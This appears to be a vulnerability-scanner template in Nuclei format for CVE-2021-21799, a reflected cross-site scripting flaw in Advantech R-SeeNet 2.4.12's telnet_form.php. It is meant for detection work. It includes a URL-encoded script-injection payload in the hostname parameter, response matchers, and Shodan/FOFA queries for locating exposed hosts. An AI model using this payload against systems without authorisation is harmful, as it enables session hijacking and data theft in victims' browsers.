id: CVE-2021-21799

info:
  name: Advantech R-SeeNet 2.4.12 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    Advantech R-SeeNet 2.4.12 contains a reflected cross-site scripting vulnerability in the telnet_form.php script functionality.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by Advantech to mitigate the XSS vulnerability in R-SeeNet 2.4.12.
  reference:
    - https://talosintelligence.com/vulnerability_reports/TALOS-2021-1270
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21799
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Live-Hack-CVE/CVE-2021-21799
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-21799
    cwe-id: CWE-79
    epss-score: 0.80194
    epss-percentile: 0.98308
    cpe: cpe:2.3:a:advantech:r-seenet:2.4.12:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: advantech
    product: r-seenet
    shodan-query:
      - http.html:"R-SeeNet"
      - http.html:"r-seenet"
    fofa-query: body="r-seenet"
  tags: cve2021,cve,xss,r-seenet,advantech

http:
  - method: GET
    path:
      - "{{BaseURL}}/php/telnet_form.php?hostname=%3C%2Ftitle%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Ctitle%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<title>Telnet </title><script>alert(document.domain)</script><title></title>"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
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